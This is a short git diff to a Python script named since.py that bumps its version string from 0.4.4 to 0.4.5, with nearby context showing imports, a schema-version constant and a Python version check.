a/since.py b/since.py index 789b71b..e4104a2 100755 --- a/since.py +++ b/since.py @@ -59,7 +59,7 @@ from datetime import datetime, timedelta from pathlib import Path -__version__ = "0.4.4" +__version__ = "0.4.5" SCHEMA_VERSION = 5 # 4: snap['tools'] (tool identity); 5: snap['blob_flags'] if sys.version_info < (3, 9): # uses PEP 585 generics in annotations + os.replace